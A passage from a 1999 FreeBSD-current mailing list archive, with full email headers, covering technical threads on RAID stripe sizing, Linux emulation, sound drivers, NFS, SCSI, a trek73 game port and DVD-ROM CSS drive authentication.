Pissing off Trek fans would be a monumental mistake, there are an awful lot of us. I've pretty much made my position clear, but it's not up to me, it's up to -core. I say put trek73 in! With as many Trek fans that use open-source operating systems, a boycott counter-threat might just work. That includes boycotting sponsors. Scott me up, Beamie! This planet sucks! jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 - KPC3+ - PK-232MBX/DSP To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 17: 1: 7 1999 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 7ACC314BF8 for ; Mon, 25 Oct 1999 17:01:06 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@d60-025.leach.ucdavis.edu [169.237.60.25]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id RAA02140; Mon, 25 Oct 1999 17:01:06 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id RAA36964; Mon, 25 Oct 1999 17:01:05 -0700 (PDT) (envelope-from obrien) Date: Mon, 25 Oct 1999 17:01:05 -0700 From: "David O'Brien" To: Stephen Roome Cc: current@FreeBSD.ORG Subject: Re: Anyone adding "support" for Athlons. Message-ID: <19991025170105.D36874@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <19991022095759.A16787@dan.emsphone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from steveroo@mothra.bri.hp.com on Fri, Oct 22, 1999 at 06:38:52PM +0100 X-Operating-System: FreeBSD 4.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I've not got an up to date version of gcc available at the moment (will get > -current over the weekend however and see how things change) see /usr/ports/lang/egcs/ > (Not sure why we have two version of gas in the source tree though ?) The first is our ELF linker, the second is our a.out linker. > -rw-r--r-- 1 root wheel 43061 Sep 6 1998 > /usr/src/contrib/binutils/include/opcode/i386.h > > -rw-r--r-- 1 root wheel 34662 Mar 29 1998 > /usr/src/gnu/usr.bin/as/opcode/i386.h > But they don't yet seem to be in even the egcs cvs tree. (well they > weren't on Wednesday) the "egcs" tree (src/contrib/egcs/) is EGCS-1.1.2 and is not being updated. A newer compiler is in the works (and will live elsewhere). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 18:22:21 1999 Delivered-To: freebsd-current@freebsd.org Received: from friley-160-236.res.iastate.edu (friley-160-236.res.iastate.edu [129.186.160.236]) by hub.freebsd.org (Postfix) with ESMTP id 6AA3614C04 for ; Mon, 25 Oct 1999 18:22:18 -0700 (PDT) (envelope-from cc@137.org) Received: from ameslab.gov (friley-160-235.res.iastate.edu [129.186.160.235]) by friley-160-236.res.iastate.edu (Postfix) with ESMTP id 38015120; Mon, 25 Oct 1999 20:22:16 -0500 (CDT) Message-ID: <38150248.BA8FB3ED@ameslab.gov> Date: Mon, 25 Oct 1999 20:22:16 -0500 From: Chris Csanady X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-CURRENT i386) X-Accept-Language: en, ru, ja, ko MIME-Version: 1.0 To: Chuck Robey Cc: freebsd-current@freebsd.org Subject: Re: linux emulation broken.. (solution) References: <3806BE78.20BDAE50@ameslab.gov> Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I *know* someone else said it wasn't so, but just 3 weeks ago I had this > very problem, with word perfect, and it works just fine now. Are you sure > you have a really up to date linux_base port installed? It was recently > changed, a *lot* of new libs added, and I'd really like an answer on this, > whether I'm right or wrong. Well, I found a solution to my problems with running linux-netscape and word perfect. It looks like it was not the linux emulation code that was at fault. I recently installed a real redhat 6.1, and mounted it on /compat/linux. Now all is well--so I can only assume it is some weird interaction between the linux_base port and my system. Maybe it is related to using XFree86 3.9.15, but I don't have the time to test that theory right now. Certainly not a great solution, but if things are broke for you this at least works. Chris Csanady To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 18:28:35 1999 Delivered-To: freebsd-current@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id DD87F14C04 for ; Mon, 25 Oct 1999 18:28:32 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost [127.0.0.1]) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id VAA05290; Mon, 25 Oct 1999 21:28:01 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Mon, 25 Oct 1999 21:28:01 -0400 (EDT) From: Chuck Robey To: Chris Csanady Cc: freebsd-current@freebsd.org Subject: Re: linux emulation broken.. (solution) In-Reply-To: <38150248.BA8FB3ED@ameslab.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 25 Oct 1999, Chris Csanady wrote: > > I *know* someone else said it wasn't so, but just 3 weeks ago I had this > > very problem, with word perfect, and it works just fine now. Are you sure > > you have a really up to date linux_base port installed? It was recently > > changed, a *lot* of new libs added, and I'd really like an answer on this, > > whether I'm right or wrong. > > Well, I found a solution to my problems with running linux-netscape and word > perfect. It looks like it was not the linux emulation code that was at fault. > > I recently installed a real redhat 6.1, and mounted it on /compat/linux. Now > all is well--so I can only assume it is some weird interaction between the > linux_base port and my system. Maybe it is related to using XFree86 3.9.15, > but I don't have the time to test that theory right now. > > Certainly not a great solution, but if things are broke for you this at least > works. No, like I said, when I *really* updated my Linux libs (and the linux_base port had very newly updated libs when I posted this) my problems evaporated, which is why I urged others to do it. I don't know why it didn't work for you, but at least it's done for you now. > > Chris Csanady > ---------------------------------------------------------------------------- Chuck Robey | Interests include C programming, Electronics, 213 Lakeside Dr. Apt. T-1 | communications, and signal processing. Greenbelt, MD 20770 | I run picnic.mat.net: FreeBSD-current(i386) and (301) 220-2114 | jaunt.mat.net : FreeBSD-current(Alpha) ---------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 21:58:38 1999 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 08FDF14A25; Mon, 25 Oct 1999 21:53:04 -0700 (PDT) (envelope-from tanimura@r.dl.itc.u-tokyo.ac.jp) Received: from rina.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by rina.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W-r-0.1-19990829) with ESMTP id NAA65390; Tue, 26 Oct 1999 13:52:58 +0900 (JST) Message-Id: <199910260452.NAA65390@rina.r.dl.itc.u-tokyo.ac.jp> To: freebsd-current@freebsd.org, freebsd-multimedia@freebsd.org Cc: Seigo Tanimura Subject: Newmidi updated (CS461x, GUS, pcm+midi, etc) From: Seigo Tanimura X-Mailer: Mew version 1.70 on Emacs 19.34.1 / Mule 2.3 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 26 Oct 1999 13:52:58 +0900 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After a long absense, newmidi now supports CS461x/428x PCI Audio and GUS midi, with some bug fix. Both pcm and midi on an ISA PnP/ PCI card now work(for SB/GUS/CS461x). Microtimeout and APIC timer patches are separated from newmidi. Please follow the document at: http://www.freebsd.org/~tanimura/newmidi/ to install newmidi. Thanks! Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 1: 5:23 1999 Delivered-To: freebsd-current@freebsd.org Received: from arc.hq.cti.ru (arc.hq.cti.ru [195.34.40.3]) by hub.freebsd.org (Postfix) with ESMTP id 971241531B for ; Tue, 26 Oct 1999 01:05:17 -0700 (PDT) (envelope-from dima@tejblum.pp.ru) Received: (from uucp@localhost) by arc.hq.cti.ru (8.9.3/8.9.3) with UUCP id MAA38461; Tue, 26 Oct 1999 12:04:31 +0400 (MSD) (envelope-from dima@tejblum.pp.ru) Received: from tejblum.pp.ru (localhost [127.0.0.1]) by tejblum.pp.ru (8.9.3/8.9.3) with ESMTP id MAA02726; Tue, 26 Oct 1999 12:10:57 +0400 (MSD) (envelope-from dima@tejblum.pp.ru) Message-Id: <199910260810.MAA02726@tejblum.pp.ru> X-Mailer: exmh version 2.0gamma 1/27/96 To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG From: Dmitrij Tejblum Subject: Re: freefall hangs w/ nfs In-reply-to: Your message of "Mon, 25 Oct 1999 10:26:04 PDT." <199910251726.KAA07728@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 26 Oct 1999 12:10:57 +0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > Actually, what I meant was that AMD itself is equivalent to a loopback > mount, whether or not you make loopback mounts through it. No. The loopback deadlock happen when the nfs server handle a write operation. But there cannot be any writes in the amd filesystem. The filesystem only contains symlinks to outside. Dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 3:27:16 1999 Delivered-To: freebsd-current@freebsd.org Received: from chuggalug.clues.com (chuggalug.clues.com [194.217.82.22]) by hub.freebsd.org (Postfix) with ESMTP id 1D93614D74 for ; Tue, 26 Oct 1999 03:27:11 -0700 (PDT) (envelope-from geoffb@chuggalug.clues.com) Received: (from geoffb@localhost) by chuggalug.clues.com (8.9.3/8.9.3) id LAA95543; Tue, 26 Oct 1999 11:26:47 +0100 (BST) (envelope-from geoffb) Date: Tue, 26 Oct 1999 11:26:47 +0100 From: Geoff Buckingham To: Greg Lehey Cc: Mike Tancsa , freebsd-current@FreeBSD.ORG Subject: Re: AMRD (MegaRAID) BIOS rev another other questions Message-ID: <19991026112647.B95499@chuggalug.clues.com> References: <3.0.5.32.19991020143339.016e0210@staff.sentex.ca> <19991022140949.A82396@chuggalug.clues.com> <19991024095811.61238@mojave.worldwide.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19991024095811.61238@mojave.worldwide.lemis.com>; from Greg Lehey on Sun, Oct 24, 1999 at 09:58:11AM -0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Oct 24, 1999 at 09:58:11AM -0600, Greg Lehey wrote: > > Indeed. It's quite easy to put all cylinder groups on a single > spindle; I've seen reports of up to 80% degradation under these > circumstances. > > > Where sequential read/write performance is not critical you can stripe at > > cluster size to avoid this. Other wise using an odd number of spindles for > > a stripe and an even number for a RAID3 or RAID5 or stripeing at an interval > > which is not a power of two should work (12,24,48,76 etc) > > The best I've heard of is 768 kB - 1 sector. This works on Vinum, but > it seems that most RAID controllers use a somewhat simplistic striping > algorithm. You might like to try 31 kB or such. This won't make any > difference with rawio, though. > I would agree from experiance that 768 KB seems a good selection for vinum and probably ccd too -- GeoffB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 3:41:39 1999 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id DC66714D74; Tue, 26 Oct 1999 03:41:33 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40347>; Tue, 26 Oct 1999 20:36:36 +1000 Content-return: prohibited Date: Tue, 26 Oct 1999 20:41:25 +1000 From: Peter Jeremy Subject: Re: SCSI CCB timeouts accessing disk In-reply-to: <99Oct25.073718est.40327@border.alcanet.com.au> To: freebsd-current@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG Reply-To: peter.jeremy@alcatel.com.au Message-Id: <99Oct26.203636est.40347@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0pre3i Content-type: text/plain; charset=us-ascii References: <99Oct25.073718est.40327@border.alcanet.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 1999-Oct-25 07:41:59 +1000, I wrote: >I've temporarily attached a Seagate ST32151N to a 1542B on a -current >system to try and setup the disk for another system. Unfortunately, >although the disk reports it is OK, I can't read or write. I finally got it to work by disabling the SYNC negotiation on the AHA-1542B. Has anyone seen this before? Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 4:50:16 1999 Delivered-To: freebsd-current@freebsd.org Received: from cx344940-a.meta1.la.home.com (cx344940-a.meta1.la.home.com [24.6.21.74]) by hub.freebsd.org (Postfix) with ESMTP id D79D414CB9; Tue, 26 Oct 1999 04:50:12 -0700 (PDT) (envelope-from conrads@cx344940-a.meta1.la.home.com) Received: (from conrads@localhost) by cx344940-a.meta1.la.home.com (8.9.3/8.9.2) id GAA64785; Tue, 26 Oct 1999 06:50:12 -0500 (CDT) (envelope-from conrads) Message-ID: X-Mailer: XFMail 1.3.2pre1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <19991025173706.A6022@kilt.nothing-going-on.org> Date: Tue, 26 Oct 1999 06:50:11 -0500 (CDT) Organization: @Home Network From: Conrad Sabatier To: Nik Clayton Subject: Re: Info needed re: new userconfig scripting and PnP Cc: freebsd-current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 25-Oct-99 Nik Clayton wrote: > On Sun, Oct 24, 1999 at 02:10:03PM -0500, Conrad Sabatier wrote: >> Someone just mailed me this heads up about my AWE soundcard setup >> tutorial at http://members.home.net/conrads/awepnp-freebsd.html. >> As this is the first I've heard about this, I'd greatly appreciate >> it > > Conrad (and anyone else with tutorials like this). > > This could fit neatly under doc/en_US.ISO_8859-1/articles/, if > you'd care to. That would get it in the CVS tree (for ease of > maintenance), allow the translation teams to tackle it, and get it > mirrored on all the FreeBSD mirrors around the world. > > Interested? I would be most honored, kind sir. :-) Just let me update it first, based on this recently acquired information re: -current. Then, to whom should I submit it? -- Conrad Sabatier http://members.home.net/conrads/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 7:54:56 1999 Delivered-To: freebsd-current@freebsd.org Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130]) by hub.freebsd.org (Postfix) with ESMTP id AE2C514F06 for ; Tue, 26 Oct 1999 07:54:47 -0700 (PDT) (envelope-from dennis.glatting@software-munitions.com) Received: from localhost (dennisg@localhost) by btw.plaintalk.bellevue.wa.us (8.9.3/8.9.3) with ESMTP id HAA50130; Tue, 26 Oct 1999 07:54:08 -0700 (PDT) Date: Tue, 26 Oct 1999 07:54:07 -0700 (PDT) From: Dennis Glatting To: Greg Lehey Cc: Dennis Glatting , freebsd-current@FreeBSD.ORG Subject: Re: Strangeness with vinum In-Reply-To: <19991025110248.57032@mojave.worldwide.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi. Thank you for your response. Yes, I should read vinum(4). I did not. The value of 16k for the slice slice is one of many slice sizes I used. I changed the slice size and graphed results. I am using the graphs to compare vinum against Veritas on a Sun 3000. I expected the results to be significantly different, which they are, but I wanted to see what they are. The box running 3.3-STABLE is, somewhat, a production box, so I am reluctant to upgrade to -CURRENT. Again, thank you for your response. It is much appreciated. And, great work. -- Dennis Glatting Copyright (c) 1999 Software Munitions To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 8:23:49 1999 Delivered-To: freebsd-current@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id C8C6414E18; Tue, 26 Oct 1999 08:23:35 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id LAA86256; Tue, 26 Oct 1999 11:29:30 -0400 (EDT) Date: Tue, 26 Oct 1999 11:29:30 -0400 (EDT) From: Ben Rosengart Reply-To: freebsd-chat@FreeBSD.ORG To: jbryant@tfs.net Cc: Kris Kennaway , freebsd-current@FreeBSD.ORG Subject: Re: trek73 In-Reply-To: <199910252307.SAA59361@argus.tfs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 25 Oct 1999, Jim Bryant wrote: > No matter what Lush Rimbaugh says on the topic, frivilous lawsuits > RARELY win in court. A lawsuit over this would indeed be frivilous. You don't have to win in court, you merely have to exhaust the resources of your opponent. Walnut Creek doesn't have a huge amount of resources, and the amount they're likely to dedicate to defending a case like this is minimal, I suspect. Followups to -chat. -- Ben Rosengart UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 8:27:22 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 97CFE14F09 for ; Tue, 26 Oct 1999 08:27:13 -0700 (PDT) (envelope-from gadde@cs.duke.edu) Received: from timber.cs.duke.edu (timber.cs.duke.edu [152.3.140.46]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id LAA23415 for ; Tue, 26 Oct 1999 11:27:11 -0400 (EDT) Received: (gadde@localhost) by timber.cs.duke.edu (8.8.5/8.6.9) id LAA27708 for freebsd-current@freebsd.org; Tue, 26 Oct 1999 11:27:11 -0400 (EDT) Date: Tue, 26 Oct 1999 11:27:11 -0400 From: Syam Gadde To: freebsd-current@freebsd.org Subject: CSS authentication for DVD-ROMs Message-ID: <19991026112711.A27696@timber.cs.duke.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Given the recent posting of DVD movie decryption code (see Slashdot for details), I was wondering if there was interest for code that does CSS authentication for DVD-ROM drives. Has anyone been working on this? It's been in the Linux source tree for a while, and I've spent a small amount of time writing a patch for similar ioctls in the current FreeBSD ATAPI CD driver. I am now able to authenticate my drive using an appropriately modified css-auth (by Derek Fawcus), granting me access to the (still encrypted) video files on the DVD (mounted as a CD9660 file system, since most DVDs these days are still written with both UDF and CD9660 file systems). Basically, my modifications follow the publicly available Mt. Fuji spec for Multimedia Devices (SFF8090), and allow a user-level program (such as css-auth above) to do the nasty work, using ioctls to drive the authentication process. Note again that this addresses only authentication, not the meatier problem of decryption. So if there is interest, and if no one has done more extensive work on this, I'll clean up my code and post patches. -syam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 9:11: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from chuggalug.clues.com (chuggalug.clues.com [194.217.82.22]) by hub.freebsd.org (Postfix) with ESMTP id 1E44E14BED for ; Tue, 26 Oct 1999 09:10:59 -0700 (PDT) (envelope-from geoffb@chuggalug.clues.com) Received: (from geoffb@localhost) by chuggalug.clues.com (8.9.3/8.9.3) id RAA95992; Tue, 26 Oct 1999 17:09:34 +0100 (BST) (envelope-from geoffb) Date: Tue, 26 Oct 1999 17:09:34 +0100 From: Geoff Buckingham To: Greg Lehey Cc: Mike Tancsa , freebsd-current@FreeBSD.ORG Subject: Re: AMRD (MegaRAID) BIOS rev another other questions Message-ID: <19991026170934.B95560@chuggalug.clues.com> References: <3.0.5.32.19991020143339.016e0210@staff.sentex.ca> <19991022140949.A82396@chuggalug.clues.com> <19991024095811.61238@mojave.worldwide.lemis.com> <19991026112647.B95499@chuggalug.clues.com> <19991026110615.51265@mojave.worldwide.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.95.4i In-Reply-To: <19991026110615.51265@mojave.worldwide.lemis.com>; from Greg Lehey on Tue, Oct 26, 1999 at 11:06:15AM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 26, 1999 at 11:06:15AM -0400, Greg Lehey wrote: > On Tuesday, 26 October 1999 at 11:26:47 +0100, Geoff Buckingham wrote: > > On Sun, Oct 24, 1999 at 09:58:11AM -0600, Greg Lehey wrote: > >> > >> Indeed. It's quite easy to put all cylinder groups on a single > >> spindle; I've seen reports of up to 80% degradation under these > >> circumstances. > >> > >>> Where sequential read/write performance is not critical you can stripe at > >>> cluster size to avoid this. Other wise using an odd number of spindles for > >>> a stripe and an even number for a RAID3 or RAID5 or stripeing at an interval > >>> which is not a power of two should work (12,24,48,76 etc) > >> > >> The best I've heard of is 768 kB - 1 sector. This works on Vinum, but > >> it seems that most RAID controllers use a somewhat simplistic striping > >> algorithm. You might like to try 31 kB or such. This won't make any > >> difference with rawio, though. > > > > I would agree from experiance that 768 KB seems a good selection for vinum > > and probably ccd too > > There's a big difference between 768 kB and 767½ kB. That's the point > I was trying to make. With 768 kB, you risk having all your > superblocks on one drive. After having first noticed the problem I initially striped at cylinder group size to avoid it (usually 32MB) and would generally recomend this for entirly random enviroments, even though this wastes some space (where 0<= some < 32MB) per disk and reduces sequential throughput. THis also retains any benefit that the original UFS cylinder group concept was intended to bring. I have only dome a little testing with 768KB stripes but what I did seemed free of the problem. I was looking for a stripe size that wasn't going to cleanly divide into the cylinder group while still being divisable by block size (this feels like the correct thing to do, i have nothing to back up this aversion to spliiting blocks over two disks). That said 760 or 776 may better suit as they would put the begining of fewer cylinder groups on the boundries betweeen stripes. However 768 should work so long as you dont use newfs to intentionally set your cylinder group to be a multiple of 768 kB. newfs could presumably be used to work round potential problems with hardware RAIDS that only offer 16k 32k etc however I am a little nervous about deviating from newfs defaults (as 99.9% of people don't and I don't enjoy being in a minority) Is there a File Systems list we should be having this conversation on? -- GeoffB > > Greg > -- > Finger grog@lemis.com for PGP public key > See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 10:44:13 1999 Delivered-To: freebsd-current@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id 9EA7414EDE for ; Tue, 26 Oct 1999 10:44:11 -0700 (PDT) (envelope-from julian@whistle.com) Received: from home.elischer.org (home.elischer.org [207.76.204.203]) by alpo.whistle.com (8.9.1a/8.9.1) with ESMTP id KAA61634; Tue, 26 Oct 1999 10:44:06 -0700 (PDT) Date: Tue, 26 Oct 1999 10:44:07 -0700 (PDT) From: Julian Elischer X-Sender: julian@home.elischer.org To: Syam Gadde Cc: freebsd-current@FreeBSD.ORG Subject: Re: CSS authentication for DVD-ROMs In-Reply-To: <19991026112711.A27696@timber.cs.duke.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anything we can get towards working DVD is good. On Tue, 26 Oct 1999, Syam Gadde wrote: [...] > > Basically, my modifications follow the publicly available Mt. Fuji > spec for Multimedia Devices (SFF8090), and allow a user-level > program (such as css-auth above) to do the nasty work, using ioctls > to drive the authentication process. Note again that this addresses > only authentication, not the meatier problem of decryption. Is SFF8090 available online somewhere? > > So if there is interest, and if no one has done more extensive work > on this, I'll clean up my code and post patches. > > -syam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 10:52:47 1999 Delivered-To: freebsd-current@freebsd.org Received: from mentat.solfire.com (rdewalt.pr.dsl.patriot.net [209.249.182.21]) by hub.freebsd.org (Postfix) with ESMTP id 0EA8C14D1A for ; Tue, 26 Oct 1999 10:52:42 -0700 (PDT) (envelope-from tet@mentat.solfire.com) Received: from localhost (tet@localhost) by mentat.solfire.com (8.9.3/8.9.3) with ESMTP id NAA02927; Tue, 26 Oct 1999 13:37:07 GMT (envelope-from tet@mentat.solfire.com) Date: Tue, 26 Oct 1999 13:37:07 +0000 (GMT) From: Tet Solfire To: Julian Elischer Cc: Syam Gadde , freebsd-current@FreeBSD.ORG Subject: Re: CSS authentication for DVD-ROMs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I agree. I have a Creative Labs Dxr2 DVD kit that I'm more than willing to test code on/with. (Any word on the Dxr2 mpeg decoder card? ) On Tue, 26 Oct 1999, Julian Elischer wrote: > Anything we can get towards working DVD is good. > > > On Tue, 26 Oct 1999, Syam Gadde wrote: > [...] > > > > Basically, my modifications follow the publicly available Mt. Fuji {snipped} To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 11:12:46 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id C409515237 for ; Tue, 26 Oct 1999 11:12:27 -0700 (PDT) (envelope-from gadde@cs.duke.edu) Received: from timber.cs.duke.edu (timber.cs.duke.edu [152.3.140.46]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id OAA28189; Tue, 26 Oct 1999 14:12:24 -0400 (EDT) Received: (gadde@localhost) by timber.cs.duke.edu (8.8.5/8.6.9) id OAA27823; Tue, 26 Oct 1999 14:12:23 -0400 (EDT) Date: Tue, 26 Oct 1999 14:12:23 -0400 From: Syam Gadde To: Julian Elischer Cc: freebsd-current@FreeBSD.ORG Subject: Re: CSS authentication for DVD-ROMs Message-ID: <19991026141223.A27818@timber.cs.duke.edu> References: <19991026112711.A27696@timber.cs.duke.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Quoting Julian Elischer (julian@whistle.com): > Is SFF8090 available online somewhere? ftp://fission.dt.wdc.com/pub/standards/SFF/specs/INF-8090.PDF ftp://ftp.avc-pioneer.com/Mtfuji4/Spec/Fuji4r03.pdf ...and other harder to find places (that I can't find anymore :). These are a newer version of the spec that I did not know about... Apparently released last week. I don't think there are any major changes. -syam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 12:41:29 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 965B61529F for ; Tue, 26 Oct 1999 12:41:20 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA20577; Tue, 26 Oct 1999 12:38:41 -0700 (PDT) (envelope-from dillon) Date: Tue, 26 Oct 1999 12:38:41 -0700 (PDT) From: Matthew Dillon Message-Id: <199910261938.MAA20577@apollo.backplane.com> To: Darryl Okahata Cc: freebsd-current@FreeBSD.ORG Subject: cleanup complete / trek73 References: <199910240822.BAA04463@mina.sr.hp.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've finished cleaning up the trek73 code but haven't created a port out of it yet. Anyone interested in messing with the game can obtain it from my web site: http://www.backplane.com/FreeBSDPorts/ It should compile and run just fine. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 26 13:15:49 1999 Delivered-To: freebsd-current@freebsd.org Received: from web1405.mail.yahoo.com (web1405.mail.yahoo.com [128.11.23.169]) by hub.freebsd.org (Postfix) with SMTP id D380714C07 for ; Tue, 26 Oct 1999 13:15:07 -0700 (PDT) (envelope-from mstacker@yahoo.com) Message-ID: 